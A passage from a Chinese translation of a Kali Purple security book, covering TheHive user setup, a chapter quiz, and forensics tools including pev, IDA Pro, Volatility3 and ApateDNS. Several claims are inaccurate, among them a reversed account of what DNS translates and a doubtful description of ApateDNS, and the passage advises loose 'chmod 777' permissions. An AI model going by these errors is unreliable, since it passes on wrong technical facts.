图 8.21 – TheHive 默认组织页面,显示我们新添加的组织

图 8.21 – TheHive 默认组织页面,显示我们新添加的组织

要创建您的第一个用户,该用户将是非管理员用户,您有两个选择。首先,您可以选择刚创建的新组织的名称,然后从主窗口选择添加用户,如图 8.22所示,接着继续按照接下来的指示完成第三步:

图 8.22 – TheHive 组织详情页面,具有添加新用户的选项

图 8.22 – TheHive 组织详情页面,具有添加新用户的选项

或者,您可以按以下步骤进行操作,这些步骤只有在组织已经创建的情况下有效:

  1. 在登录后的默认页面左列中选择并点击显示三个小人图标的按钮。我们将其称为用户图标。如果您需要帮助识别图标,可以参考图 8.23中的高亮显示。

图 8.23 – TheHive 选择左列中的用户图标

图 8.23 – TheHive 选择左列中的用户图标

  1. 然后,在点击人形图标后,选择并点击用户页面左上角附近的大加号符号。这一点也在图 8.24中有所体现。非常重要的一点是,您必须在首次选择用户图标后再执行此操作。否则,加号将不会添加新用户,而是添加新组织!

图 8.24 – TheHive 在用户界面选择加号以创建新用户

图 8.24 – TheHive 在用户界面选择加号以创建新用户

  1. 完成这一步后,页面会变灰,右侧会弹出一个窗口,要求你输入新用户的详细信息:

图 8.25 – TheHive 添加用户的弹出窗口,主窗口变灰

图 8.25 – TheHive 添加用户的弹出窗口,主窗口变灰

  1. 类型字段下,值应默认为普通,你应该保持默认设置。这个字段用于设置服务账户,我们在第四章中简要讨论过。若你需要重新回顾服务账户,参考那一章:

图 8.26 – TheHive 设置新用户类型为普通

图 8.26 – TheHive 设置新用户类型为普通

  1. 登录名字段下,你不需要输入用户名,而是输入登录分类。这允许管理员用户创建一组登录名,在其中预先分配角色。为了简便起见,我们建议输入thehive@thehive.local,但你也可以将前部分设置为你想要的任何内容,比如test@thehive.local,只要你开始时的内容加上@thehive.local即可。登录时,你只需要输入你创建的名称,而不需要输入@thehive.local。然后,在姓名字段中,你将输入所需的用户名:

图 8.27 – TheHive 设置新用户的登录名和姓名值

图 8.27 – TheHive 设置新用户的登录名和姓名值

  1. 组织字段下,你将决定正在创建的新用户的权限级别。我们已经知道,我们不希望用户是管理员。所以,选择组织个人资料下的下拉区域(取决于你通过哪种方式进入该功能),然后选择分析员。如果你是通过在你创建的组织的个人资料中添加用户来进入此界面的,那么所有分析员角色都会自动显示在屏幕上。如果每个字段都填写完毕,页面底部会出现一个确认按钮。点击该按钮,你就可以创建你的新管理员用户:

图 8.28 – TheHive 完成的新用户表单

图 8.28 – TheHive 完成的新用户表单

  1. 被灰色显示的区域将消失,你的新用户将出现在列表中。在以该用户登录之前,你还有一个非常重要的步骤。类似于设置 Cortex 用户,你需要编辑刚刚创建的用户以设置密码,因为在创建用户时并未提供此选项。然而,操作方式与 Cortex 略有不同。从默认的用户界面中,你需要将鼠标悬停在刚创建的用户的名字上。当你这样做时,预览字段会出现在该行中间附近,紧挨着组织列下的值。选择该预览字段,如图 8.29所示:

图 8.29 – TheHive 新用户预览按钮用于设置密码

图 8.29 – TheHive 新用户预览按钮用于设置密码

  1. 向下滚动,直到看到密码部分。你将看到重置密码编辑密码的选项。你可以稍后再调整这些设置,但现在,选择重置密码或如果你是新用户,则选择设置新密码,然后为你正在创建的用户输入所需的密码。完成后,点击屏幕右下角出现的小蓝色确认按钮:

图 8.30 – TheHive 设置新密码并重置密码

图 8.30 – TheHive 设置新密码并重置密码

  1. 完成后,你将在底部看到与第一次创建用户时相同的确认按钮。点击该按钮,你就应该设置好了:

图 8.31 – 确认按钮

图 8.31 – 确认按钮

  1. 你可能会在最左侧的列中看到一个圆圈,允许你在管理员账户和你刚创建的分析员账户之间快速切换。如果没有,请选择右上角的下拉箭头,然后从下拉菜单中选择注销,接着输入刚创建的帐户的凭据。

  2. 选择让我进入以重新登录为普通用户。现在顶部的功能区应该会有一个按案件 ID 搜索的字段,以及创建新案件的选项。

恭喜!安装和设置 Cortex 与 TheHive 可能是一项繁琐且令人困惑的任务。如果你已经做到这一点,给自己一个掌声。我们建议你花足够的时间玩转这些工具,阅读开发者文档,并尽可能多地探索。如果你弄坏了什么,那太棒了!这就是我们学习的方式。这也是我们不断进步的方式。

由于 Cortex 和 TheHive 是 Kali Purple 工具集中的核心组件,你现在拥有一个非常基础的框架来构建。接下来我们将花一些时间让你了解一些威胁情报应用程序,你可以使用它们来支持你已经开始搭建的小型 IR SOC。

挑战!

市面上有无数的信息共享平台。你已经在本书中几次简要了解过MISP,即恶意软件信息共享平台。这是一个开源项目,旨在无私地帮助我们共同努力,阻止恶意行为者的恶意活动。MISP 与许多其他信息共享平台的不同之处在于其威胁信息交换格式。MISP 平台支持标准化的威胁信息交换格式,包括两个最著名的格式,即结构化威胁信息表达STIX)和受信自动化指标信息交换TAXII)。这使得 MISP 在与任何选择采用这些知名标准的安全平台或工具的互操作性和兼容性方面具有很高的水平。

MISP 的其他关键特性包括以下内容:

  • 威胁情报共享

  • IOC 管理

  • 威胁情报源

  • 自动化指标关联

  • 协作分析

  • 可视化与报告

  • 集成框架

你的挑战是进入野外,寻找尽可能多的适用平台源,只要它们与网络安全相关,学习它们,并选择至少一个——但你也可以选择多个——与本章中你已开始构建的迷你 IR SOC 集成。详细记录你的整个过程,使用大量的文字和截图,然后找到一个在线平台——可能是社交媒体,也可能不是——以一种展示你技能并帮助他人学习和成长的方式展示你的成果。

总结

在本章中,你已经学习了如何将前几章学到的知识应用于当你之前学会收集、分析和存储的数据揭示可能发生的真实正向事件时。这就是说,你已经开始感受到网络安全防御中的事件响应部分。

在响应事件的过程中,拥有一些工具帮助你尤为重要,尤其是当这些工具包括自动化时。在此过程中,你了解了一个名为 Cortex 的安全编排自动化响应平台。你还了解了一个名为 TheHive 的事件响应案例管理平台,它将数据输入到 Cortex 进行处理,并通过自动化对数据进行多项潜在活动。

你还看到了 MISP。这一开源项目的初衷是无私地帮助我们所有人共同努力,制止恶意行为者的恶意活动。

在下一章中,我们将对恶意软件分析进行更深入的探讨,比我们目前所做的更进一步,甚至还将了解一些关于漏洞开发的知识!

问题

  1. Cortex 和 TheHive 是由同一家公司创建的,这家公司叫做…

    1. BumbleBee

    2. SweatBee

    3. StrangeBee

    4. LeaveMeBee

  2. 一系列预定义步骤,用于编排活动模式,通常是可重复的,这是什么?

    1. IR 电路

    2. 工作流

    3. 容器

    4. 代码库或 .****dll 文件

  3. 定义两个不同软件系统如何相互通信的规则的东西被称为什么?

    1. 应用程序编程 接口 (API)

    2. 国际网络安全通信 法律 (ICCL)

    3. 君主立宪制

    4. 国际技术安全 控制 (ISTSC)

  4. 什么是多租户?

    1. 当两人或更多人在同一台计算机上工作时

    2. 一个能够区分并管理多个客户或组织的应用程序

    3. 类似于多任务处理,但在秘密中执行

    4. 一只章鱼或其他具有超过 2 条胳膊或腿的动物

  5. MISP 促进了关于什么类型技术的信息共享?

    1. 所有已知威胁

    2. 数据库

    3. 数字化

    4. 恶意软件

进一步阅读

第三部分:数字取证、进攻性安全和 NIST CSF

在本部分中,你将了解 Kali Purple 如何支持数字取证。你还将进行一场关于进攻性安全的实践,并介绍一系列可以用来测试网络防御的工具。你将会接触到的工具包括 OWASP ZAP、Wireshark、Metasploit、Burp Suite、Nmap、SQLmap、Nikto、Nessus、Hydra、Medusa 和 John-the-Ripper。你将通过使用 Kali Autopilot 的自动化应用来完成本部分的学习,获得识别 Python 代码的经验,并理解 Kali Purple 所基于的 NIST CSF 框架。

本部分包含以下章节:

  • 第九章数字取证

  • 第十章红队与外部工具的整合

  • 第十一章自动驾驶、Python 和 NIST 控制

第九章:数字取证

到目前为止我们讨论的工具旨在分析、识别、捕获和存储数字流量,以帮助网络安全防御团队进一步分析和响应。部分工具本身在设计上就具备自动响应的潜力,可以代表我们这些愚蠢天真的人做出反应。

然而,无论我们的网络防御技术多么先进,无论我们训练得多么充分,总会有人具备与我们相当或更高的技能,能够找到更加复杂和高级的方法来绕过我们的防御。这些人往往是世界上一些更具破坏性的网络犯罪分子;他们可能受过大预算组织的培训,比如国家级组织或有组织的犯罪团伙。他们擅长打持久战,花费时间和金钱——必要时长达数年——来培养那些高度专注的人员,这些人员可能认同雇主的使命和信仰体系;这完全在他们的耐心范围内。

具备如此高级技能和训练的人无疑会随着时间的推移,将一些他们的手段传授给训练较少、经验不足的人,集体而言,这就导致了网络对手的顶级层次。有时候,这些人所犯的罪行根本不属于数字性质,但他们会使用数字技术作为支持或记录其活动的工具。当这些人被捕时,依据抓捕他们的法律管辖区,他们可能有权享受正当程序,并且在未被证明有罪之前享有无罪推定权。获取任何与技术相关的违法证据,都依赖于数字取证调查员。

事实证明,Kali Purple 提供或支持与数字取证和深度分析相关的多个工具。在本章中,我们将介绍一些在这一领域中较为突出的工具,并且讲解如何将它们添加到或激活它们在 Kali Purple 安装中的功能。

此外,我们还将介绍一些这些不法分子最初用来开展业务的工具。为什么这么做?因为通过了解这些工具——它们也是 Kali Purple 的一部分——以及它们的使用方式,能够帮助我们理解不法分子试图做什么。不仅如此,我们还可以利用这些工具来训练组织中的成员,然后开展模拟活动,检验他们的学习成果,从而评估我们所提供培训的质量和效果。本章将涵盖以下主题:

  • 数字取证和恶意软件分析

  • 社会工程学工具包 (SET)

  • 浏览器利用框架 (BeEF)

  • Maltego

技术要求

本章中的应用程序比前几章的资源占用要小得多。然而,如果你正在完成完整的 Kali Purple 体验,我们建议你记住其他章节中的更严格要求,特别是当你在使用这些工具时,可能需要使用某些工具的组合。

  • 最低要求:一台计算设备,架构为 amd64(x86_64/64 位)或 i386(x86/32 位)。设备至少应配备 4GB 内存。

  • 推荐要求:根据网络安全领域从业人员的反馈,建议使用 amd64(x86_64/64 位)架构,配备 8GB 内存。

数字取证与恶意软件分析

数字取证是一个独立的职业领域。随着技术的快速发展,犯罪行为中的技术应用也在不断演变。大型执法机构雇佣专门分析人员,从数字设备中提取有价值的数据。Kali Purple 兼容一些用于支持这一职业领域的工具。你也可以将这些工具与已经学习的其他工具一起使用。请记住,并非所有的恶意行为都会从执法专业人员的角度被察觉。

目前从事网络安全工作的你们已经非常熟悉这一点了。作为分析师,你们将成为第一时间接触到恶意甚至是明显犯罪行为的人员之一。在职业生涯中,你可能会遇到这样的情境,虽然没人愿意在这种情况下被发现,但如果真是如此呢?想象一下,在你日常的网络安全工作中,如果你发现了一些有罪的证据,最终能够在坏人对他人造成伤害之前把他们从街头抓获,事情会怎样?只是因为我们坐在塑料和硅基面包板设备后面,并不意味着我们的职业不重要,绝对也不意味着我们无法挽救生命,保护无辜的人免受他人恶意的侵害。

在本节中,我们将探索一些用于进行数字取证提取和分析的工具。让我们从一个用于分析 Windows 应用程序的工具开始。

可移植可执行文件标识符(PEiD)

PEiD——也叫PEvPE 版本)——是一个流行且广泛使用的工具,用于识别和分析 Windows 可执行文件(PE 文件)。它专门用于检测可执行文件中使用的打包器、加密器和编译器。PEv 通常用于恶意软件分析和逆向工程领域,以了解可执行文件的性质,并识别潜在的恶意特征。当使用 PEv 分析文件时,它提供了关于创建可执行文件的特定打包器或编译器的见解,有助于理解文件的行为和潜在的安全风险。PEv 帮助安全专业人员和分析师根据文件的内部特征识别和分类可执行文件,帮助检测和分析潜在的有害软件。

要安装 PEv,请执行以下步骤:

  1. 输入sudo apt updatesudo apt upgrade

  2. 然后,输入sudo apt install pev

一些较旧的系统和版本可能需要你通过输入sudo bash pevsudo ./pev &来启动 PEiD,但更可能的情况是,你需要导航到 PEiD 安装的目录——应该是/usr/bin——并输入sudo pescan -v <filepath/filename>,请注意,文件必须是 Windows 可执行文件,这样该应用程序才能正常工作,因为这个应用程序就是为此设计的。

或者,你可以选择 Kali Purple 桌面左上角的 Kali 龙形象图标,位于文件下方,在搜索栏中输入pev,然后从下拉菜单中选择pev选项:

图 9.1 – 使用 Kali 搜索功能查找应用程序

图 9.1 – 使用 Kali 搜索功能查找应用程序

让我们检查下一个产品。

PEScan

另一个与 PEiD 配合使用非常好的数字取证工具是PEScan,你应该已经在系统上安装了它。与专门用于分析 PE 文件的 PEv 不同,PEScan 是一个完全独立的工具,旨在检测文件类型,特别注重识别 PE 文件类型的特征。它通过分析文件结构来判断文件是否符合已知的 PE 文件规格。PEScan 还可以用来识别头部、节、导入和其他属性的特征。

在恶意软件分析方面,PEScan 在识别和分析 Windows 可执行文件中的潜在威胁时非常有价值。它通常与其他安全工具和分析技术一起使用,以深入了解可执行文件的功能和行为,帮助识别恶意代码。

PEScan 在识别和确认系统中 PE 文件的存在或分析可疑文件以确定其性质和潜在影响方面最为有用。这个工具提供了宝贵的信息,有助于评估文件的威胁级别,并协助制定适当的缓解策略。

要使用 PEScan,在你的 Kali Purple 桌面上打开命令终端,首先输入pescan来查看额外选项的列表。在那里,你将看到如何使用这个工具的示例,且非常直观。如果你想使用展示的任何选项,你只需在pescan之间输入你看到的第一个值。例如,如果你想显示putty.exe的版本,可以输入pescan -V putty.exe,特别注意选项是区分大小写的:

图 9.2 – PEScan 在命令终端中的使用

图 9.2 – PEScan 在命令终端中的使用

让我们看看下一个工具。

IDA Pro

IDA Pro是一个高级交互式反汇编器,被广泛认为是逆向工程、恶意软件分析和二进制分析中最强大和全面的工具之一。其强大的功能集、可扩展性以及跨平台支持使其成为从事恶意软件分析、漏洞研究、二进制分析的专业人士的首选工具,尤其是在逆向工程是其职业的一部分时。

逆向工程是分析系统、产品或软件应用程序的过程,以理解其设计、架构、功能和行为。通常,这个过程的目标是复制或修改其特性,实现互操作性,或识别潜在的安全漏洞。就软件而言,逆向工程通常涉及可执行二进制文件、固件或硬件,以揭示其底层逻辑和功能——即揭示软件是如何构建以思考的。

IDA Pro 有许多关键功能,包括以下内容:

  • 反汇编和反编译:IDA Pro 能够反汇编和反编译各种可执行文件和二进制文件,提供代码及其行为的人类可读表示。它支持多种处理器架构,使其在分析不同类型的可执行文件时具有广泛的适用性。

  • 图形用户界面(GUI):IDA Pro 的 GUI 允许交互式地探索反汇编代码、控制流图和数据结构,使得逆向工程师和安全分析师可以直观且易于使用。数据结构是一种组织和存储程序内部数据的方式,不同于数据库,它使得计算机可以高效地访问和操作数据。一些例子包括列表、队列、树、图和哈希表。

  • 跨平台支持:IDA Pro 支持不同操作系统和处理器架构下的二进制文件反汇编与分析,允许分析人员处理各种可执行格式和平台。

  • 插件生态系统:IDA Pro 拥有强大的插件架构,使用户能够通过自定义脚本和插件扩展其功能。这种扩展性允许创建专门的分析和可视化工具,从而增强 IDA Pro 的能力。

  • 静态分析和数据流分析:IDA Pro 提供静态分析功能,包括跟踪反汇编代码中的数据流、识别函数调用和重构高级结构,如循环和条件。在此情况下,循环指的是软件反复执行某段代码,通常每次循环都会迭代某个变量。例如,可能会对数值进行加减操作。条件则指的是当满足特定条件时才执行某段代码,通常在原始代码中可以看到ifelseif elseelseif 等语句。

  • 二进制打补丁和修改:IDA Pro 使用户能够对二进制文件进行打补丁并修改其行为,提供了一个用于漏洞研究、攻击开发和特定用例的二进制修改平台。

  • 协同分析:IDA Pro 支持协同分析,允许多个分析人员在同一反汇编数据库上工作,并分享他们的发现、注释和评论。

  • 脚本编写与自动化:IDA Pro 包含一个内置的脚本语言,允许用户自动化重复任务、创建自定义分析流程,并通过脚本扩展工具功能。该语言被称为IDAPython,从字面上看与 Python 相同。之所以单独命名,是因为它包含了专门的 API 和语言库选项,这些工具特别针对逆向工程。

  • 调试器集成:IDA Pro 集成了各种调试器,支持静态分析和动态调试之间的无缝切换,便于将反汇编代码与动态运行时行为关联起来。这些调试器包括GNU 调试器GDB)、Windows 调试器WinDbg)、OllyDbg、x64dbg、LLVM 调试器LLDB)、QEMU 调试器和 Radare2 调试器,同时也提供了高级用户集成自定义调试器的选项。

  • 处理器模块软件开发工具包(SDK):IDA Pro 提供了一个处理器模块 SDK,允许为分析和反汇编针对特定架构的可执行文件创建自定义处理器模块。这是 Hex-Rays(IDA Pro 的创建者)为 IDA Pro 提供的工具,旨在帮助开发人员扩展反汇编能力。

  • 文件格式支持:IDA Pro 支持多种文件格式,包括 ELF、PE、Mach-O 和 COFF 等,这使得它成为分析来自不同操作系统和平台的可执行文件的多功能工具。

  • 广泛的社区文档:IDA Pro 受益于一个非常活跃的用户社区、广泛的文档和在线资源,使其成为逆向工程和安全研究社区中一个得到广泛支持和采用的工具。如果你想了解更多关于此产品及其在线社区的内容,请点击前面的链接,我们也会在进一步阅读部分为你提供 Hex-Rays 的链接,供你将来参考。

要获取 IDA Pro 的副本,登录到你的 Kali Purple 环境,在该环境中打开一个网页浏览器,访问hex-rays.com/ida-pro/。不要被要求购买许可证的提示吓到。他们有一个免费版本供你在决定是否花钱之前尝试。要找到免费版本,只需向下滚动页面,直到看到Which version of IDA is the best for you?部分。在那里,你会看到一个演示版本或一个简单的免费版本。选择你喜欢的选项,然后你会被带到一个页面,获取你的 SHA256 哈希值。到现在,你知道该怎么做了。记录你的哈希值并下载 Linux 版本(假设你在 Kali Purple 环境中):

图 9.3 – IDA Pro 官网下载页面

图 9.3 – IDA Pro 官网下载页面

文件下载完成后,你需要打开一个命令行终端窗口,如果你还没有更新和升级系统,可以先通过sudo apt进行更新和升级。从这里开始执行以下步骤(将<文件名>替换为你的实际文件名—我们的文件名是idafree84_linux.run):

  1. 输入cd Downloads进入你的Downloads文件夹。

  2. 输入ls并按Enter确认 IDA Pro 已成功下载。

  3. 输入sha256sum <文件名>来确认该哈希值,如果你有更新版本,记得修改文件名。

  4. 将屏幕上显示的哈希值与下载页面上记录的哈希值进行比较—示例如图 9.3所示。

  5. 为了让 Kali 能够成功运行文件,请输入chmod +****x <文件名>,为文件设置适当的权限。

  6. 要解压文件并正式安装 IDA Pro,请输入./<文件名>

  7. 你会看到一个小的 GUI 弹出窗口,如图 9.4所示。按照这些提示,接受默认值:

图 9.4 – IDA Pro 下载解压

图 9.4 – IDA Pro 下载解压

要运行 IDA Pro,请执行以下步骤:

  1. 进入 Kali 提取文件的目录(我们的目录是~/idafree-8.4)。

  2. 输入./ida64

  3. 如果收到错误,请尝试输入chmod +****x ida64

  4. 重新输入./ida64

  5. 如果你同意 EULA,阅读并接受许可协议。

  6. 阅读用户界面遥测弹窗并决定是否分享数据(完全由你决定)。

  7. 按照指示操作,IDA Pro 应该能正常启动。

能够解构和逆向工程任何一件现代技术本身就是一项值得炫耀的壮举。不过要小心!无论你的意图多么无害,世界上许多事情都基于感知,这可能并不公平,但人们确实会因间接证据而陷入法律麻烦。所以,当你 – 理解地 – 向朋友或对技术不太了解的家人炫耀你的拆解和逆向工程技能时,要明确自己在学习探索,并且完全尊重创作者的知识产权。此外,在拆解任何产品之前,一定要仔细查看其许可协议,因为许多许可协议严格禁止此类行为,哪怕你的意图是无害和纯粹的,也可能因此陷入法律困境。

Volatility3

根据波动性基金会官网,Volatility 框架于 2007 年首次在 Black Hat DC 公开发布。Volatility是一个开源的内存取证框架,用于分析数字系统中的易失性内存,例如 RAM。易失性内存是系统在运行时用来存储和处理变量及其他必要信息的内存。系统关闭后,这部分内存会被清空;永远消失。Volatility 使得事件响应人员、取证分析师和安全研究人员能够从内存转储中提取有价值的信息,以调查安全事件、恶意软件感染和系统妥协。

正如你可能猜到的,Volatility 有一些关键特性,使其成为数字取证领域的一个重要工具。它提供了对易失性内存内容的有价值洞察,帮助识别、分析和响应安全事件,无论是传统的安全事件还是网络安全事件。

其中的一些功能包括以下几点:

  • 跨平台支持:在这里,“平台”指的是操作系统的品牌/类型 – 通常称为平台。Volatility 支持所有主流操作系统,如 Windows、Linux、MacOS 和 Android。这使得它成为取证分析师的一个有吸引力的选择,尤其是那些需要在多样化环境中进行内存分析和其他取证调查的分析师。

  • 内存取证:这是 Volatility 的主要焦点,也是该产品的核心功能。Volatility 特别为内存取证而构建,提供了工具和插件来提取和分析易失性信息——即在被分析系统关闭时可能迅速丧失的信息——来自内存转储。进行此类分析可以产生有助于识别运行进程、网络连接、注册表项等的结果。

  • 插件架构:Volatility 采用模块化设计,并通过其插件架构实现可扩展性。模块化意味着产品本身的代码被分成独立功能的块,称为模块。这使得产品编程代码的某些部分可以在不影响其他代码的情况下更新和测试。模块化架构意味着用户可以更容易地为 Volatility 开发自定义插件,或利用现有插件更高效地从内存转储中提取特定信息,并且对整体产品代码的风险较小。

  • 进程和恶意软件分析:Volatility 使得分析正在运行的进程成为可能,能够识别恶意进程、命令历史、加载的模块以及注入的代码。正在运行的进程很可能正在积极使用易失性内存,即 RAM,因为程序需要通过这种方式保持运行。RAM 存储了进程在执行其编程任务时需要访问的关键值。此功能有助于恶意软件分析和理解系统行为。

  • 网络分析:该框架允许分析师从内存转储中提取与网络相关的信息,如开放端口、已建立连接、网络配置和通信活动。内存转储,有时也称为核心转储或崩溃转储,是在特定时间点快速复制系统的易失性内存。当系统崩溃或出现错误时,它会迅速尝试抓取易失性内存的副本。系统通常只有极短的时间来执行此操作,并且没有保证它会成功。因此,这些副本通常被称为快照

  • 注册表分析:Volatility 支持对内存转储中的注册表项进行分析,帮助分析师检索系统配置、用户配置文件、已安装软件以及与用户活动相关的遗留信息。注册表项是 Windows 操作系统架构中的核心组件。Windows 注册表是一个集中式数据库,存储与操作系统本身、硬件、软件及单个用户设置相关的配置设置、选项和信息。它在系统初始化、应用程序设置、设备配置、用户偏好和设备的系统安全性中确实起着至关重要的作用。

  • 文件系统分析:Volatility 提供了工具来提取有关文件、目录和文件系统结构的信息,如 FAT、FAT16、FAT32、NTFX 和 EXT APFS,以及内存转储中的文件句柄。拥有软件工程经验的朋友会将文件句柄识别为程序员所称的文件描述符。文件描述符 是分配给打开文件或应用程序内 输入/输出 (I/O) 资源的唯一数字值。它有助于系统跟踪并同时管理多个文件访问,而拥有这些信息对于数字取证调查员来说非常有价值。它将帮助他们理解文件访问模式并识别基于文件的取证痕迹。

  • 时间线分析:该框架提供时间线分析功能,通过关联带时间戳的内存痕迹来重建系统上的事件顺序。这不仅仅是知道某个操作或活动发生的时间。调查人员和分析师可以重建事件,了解某些事情发生的顺序,而了解顺序本身可以帮助判断活动是否具有恶意性质。即使已经确定活动是恶意的,它也可以帮助识别该活动的目的或根本原因。换句话说,Volatility 有助于事件重建和时间线再现。

  • 社区支持和更新:与 Kali Purple 发行版中的大多数资源一样,Volatility 拥有一个活跃的用户和开发者社区,他们为框架贡献新插件、提供支持并持续更新,以应对不断变化的取证挑战并支持新的操作系统版本。今天,Volatility 主要由一个名为 Volatility Foundation 的 501(c) 非营利组织管理。该基金会提供收费的在线培训课程。

  • 与其他工具的集成:Volatility 无缝地与 IDA Pro 以及其他取证工具如 Wireshark 和我们之前提到的调试器类工具集成。与所有安全集成一样,这有助于增强产品的整体功能,在这种情况下,提升内存取证调查的能力,并支持与现有工作流的互操作性。

要获取 Volatility 的副本,打开 Kali Purple 命令行终端窗口,并根据需要进行更新和升级。当准备好时,执行以下操作:

  1. 输入 sudo git clone github.com/volatilityfoundation/volatility3.git

  2. 输入 cd volatility3 以进入安装目录。

  3. 输入 pip3 install -****r requirements.txt

  4. 输入 python3 vol.py -h 以验证安装是否成功。

  5. 输入 sudo mkdir memory_dumps 以创建一个用于存储内存转储文件的目录。

  6. 输入 cd memory_dumps 以进入该目录。

  7. 通过输入sudo touch firstdump.raw创建一个内存转储文件供 Volatility3 报告。(只要记住文件名以便执行 Volatility3,你可以随意命名。)

  8. 让我们确保所有的用户和文件权限都已设置 – 输入pwd获取你的memory_dump目录的完整文件路径,记录该路径,然后输入cd返回到根目录。

  9. 输入sudo chmod -R 777 /home/misp/volatility3/memory_dumps/firstdump.raw,将文件路径替换为你在前一步中记录的路径。

  10. 现在,让我们通过输入python3 vol.py -f /****home/misp/volatility3/memory_dumps/firstdump.raw linux.pslist来运行 Volatility3:

图 9.5 – 为了教学目的运行 Volatility3 有限测试

图 9.5 – 为了教学目的运行 Volatility3 有限测试

  1. 输入python3 vol.py -h获取可以与 Volatility3 一起使用的所有插件的列表。

  2. 记住,使用 Volatility3 的默认命令模板是python3 vol.py -f <path/to/memory_image.ext> <****plugin_name> [options]

玩得开心,进行你的易失性内存提取!接下来,我们将介绍一个鲜为人知但依然非常有价值的工具,从取证角度分析域名系统DNS)活动。

ApateDNS

ApateDNS是一个用于模拟与 DNS 相关的攻击并测试网络安全场景中防御能力的工具。它允许用户创建一个虚拟 DNS 服务器,可以模拟各种 DNS 行为和威胁,以评估系统和安全工具对这些攻击的响应。ApateDNS 的主要目的是在受控环境中模拟基于 DNS 的攻击,以进行防御性测试和评估。

总的来说,它是进行与 DNS 相关的安全评估的宝贵工具。它也用于测试防御机制并提高网络和系统对基于 DNS 的攻击的韧性。通过利用其功能和能力,网络安全专业人员可以增强他们在当今不断变化的威胁环境中应对 DNS 威胁的准备和响应能力。

ApateDNS 独特的关键特性包括以下内容:

  • DNS 攻击模拟:ApateDNS 允许用户模拟不同类型的 DNS 攻击,包括 DNS 欺骗、DNS 缓存中毒、DNS 放大攻击和 DNS 隧道等。通过重现这些攻击场景,安全专家可以评估他们的防御和响应效果。你可能知道,DNS 服务器将数字 IP 地址转换为人类可读的域名(something.com)。DNS 欺骗和缓存中毒是攻击者将虚假记录注入 DNS 服务器缓存文件,导致用户被重定向到虚假的恶意网站。

    DNS 放大攻击是一种分布式拒绝服务DDoS)攻击,利用域名服务器/系统中的漏洞,试图通过大量恶意流量使目标服务器或网络瘫痪。在这种情况下,攻击者向支持递归的开放 DNS 服务器发送少量特制的 DNS 查询。攻击者的目标是这些服务器配置错误或对外公开——而这些情况通常存在——从而导致服务器以大规模的信息量响应目标/受害者的 IP 地址。

    DNS 隧道是一种在 DNS 系统中传输数据的方式,既有合法用途也有恶意用途。它只是通过某种方式对数据进行编码,以绕过安全控制。这样做可以是为了合法的隐蔽通信,但也被恶意行为者用来进行数据外泄,或者简单地为其他各种恶意目的在 DNS 系统内外创建一条通道。

  • 可定制的 DNS 响应:用户可以配置 ApateDNS 生成自定义 DNS 响应,将 DNS 查询重定向到特定 IP 地址,修改 DNS 资源记录,及操作 DNS 数据包数据。这种灵活性允许对 DNS 相关安全措施进行详细测试。比如,可以对 规范名称CNAME)进行调整,简单来说就是为特定域名设置响应,将请求者重定向到另一个域名。有时,组织希望保留与其品牌相似的域名,以防竞争对手利用这些域名混淆并误导客户。因此,他们会注册多个类似名称的域名,并将这些域名都指向主站点。一些资金雄厚的组织会这样做,预计用户在输入网站地址时会出现常见的拼写错误。DNS 会检测到已注册的拼写错误域名,并将其重定向到正确的域名。

  • 测试 DNS 安全控制:ApateDNS 可用于测试 DNS 安全控制的抗压能力,比如 DNS 防火墙、入侵检测系统IDS)/入侵防御系统IPS)和 DNS 监控工具。我们在第七章中讨论了其中的一些系统。通过模拟攻击,组织可以识别 DNS 安全防护中的漏洞和缺口。这也是 Kali Purple 的一个亮点,它提供了所有工具来搭建概念验证场景,同时也提供了相应的工具进行测试。

  • 网络防御评估:与之前的项目相比,安全团队可以利用 ApateDNS 评估网络防御对抗基于 DNS 的威胁和攻击的有效性。正如我们到目前为止所探讨的,ApateDNS,顾名思义,专注于 DNS 产品的取证测试和分析,而 DNS 是任何完备的组织网络的核心组成部分。通过评估安全解决方案如何检测和响应模拟攻击,组织可以提升整体的网络安全态势。

  • 教育与培训:作为整个 Kali Purple 发行版的主题,ApateDNS 还可以作为网络安全专业人士培训工具,帮助他们培养识别和缓解 DNS 威胁的技能。你可以把它看作是一种容器化的培训方式。既然你知道 ApateDNS 是以 DNS 为重点构建的,那么你就知道这个工具可以加入到任何以 DNS 为中心的培训课程中。将你的网络安全培训分解成更小的部分——主题——就像这样,也未尝不是个好主意。通过模拟攻击进行实践操作,能够帮助学员理解 DNS 安全概念,并练习响应策略。当你认为你的团队已经掌握了扎实的 DNS 技能时,你可以转向其他主题。

  • 开源且跨平台兼容:ApateDNS 是开源软件,允许用户访问和修改其源代码以进行定制和研究。它与多个操作系统兼容,包括三大主流系统——Windows、Linux 和 macOS。这为在多样化环境中进行测试提供了最大灵活性。

不幸的是,网络安全工具的全面发展使得像 ApateDNS 这样的独立专业应用程序对一些专业人士的吸引力降低。这可能是因为,如果用户能够通过其他应用程序获得相同或相似的功能,那么为什么不选择那样做呢?在撰写本文时,许多传统的下载位置和代码库都无法正常使用,包括著名的 Mandiant 和 FireEye/Trellix 位置。没关系!我们从一开始就提到过这一点。作为一名分析师、网络安全专业人士,意味着你需要随时为意外做好准备。有时,类似这样的情况会发生。成为一名有效的研究员将是你最宝贵的资产之一。在我们的案例中,我们在已知的Softpedia库找到了 ApateDNS 的副本。Softpedia 本身并不恶意。然而,由于缺乏安全监管,从那里获取软件可能存在风险。请谨慎操作。

获取 ApateDNS 的一个位置是以下链接:www.softpedia.com/get/Network-Tools/Misc-Networking-Tools/ApateDNS.shtml

从这里开始应该非常简单。你知道该怎么做。当你启动 ApateDNS 时,它应该看起来类似于图 9.6所示:

图 9.6 – ApateDNS 启动屏幕

图 9.6 – ApateDNS 启动屏幕

在本节中,你学习了五种不同的工具,这些工具以五种不同的方式进行深度取证分析,从提取易失性内存到检查 Windows 可执行文件,再到完整的应用程序反汇编与逆向工程,直到 DNS 行为活动。每一项资源都帮助数字取证调查员完成工作,并让他们更接近解决案件或提供证据支持以将罪犯绳之以法。

你是否曾经想过那些坏人是如何做出他们的行为的?这是我们领域中的一个关键思考。知道这种行为是如何进行的,能帮助我们制定模拟攻击计划,测试并训练我们组织中的工作人员。在下一节中,我们将检查三种用于造成前述工具所能识别和响应的破坏的工具。

在本书中,我们已经覆盖了各种工具,这些工具要么是 Kali Purple 自带的,要么是内置支持的,涵盖了完整的网络防御环境。这些工具帮助我们建立网络安全防御系统,帮助我们获取信息、组织、存储、评估、响应,并且在本章中,进行取证调查。所有这些都是 Kali Purple 家族中的蓝队工具。

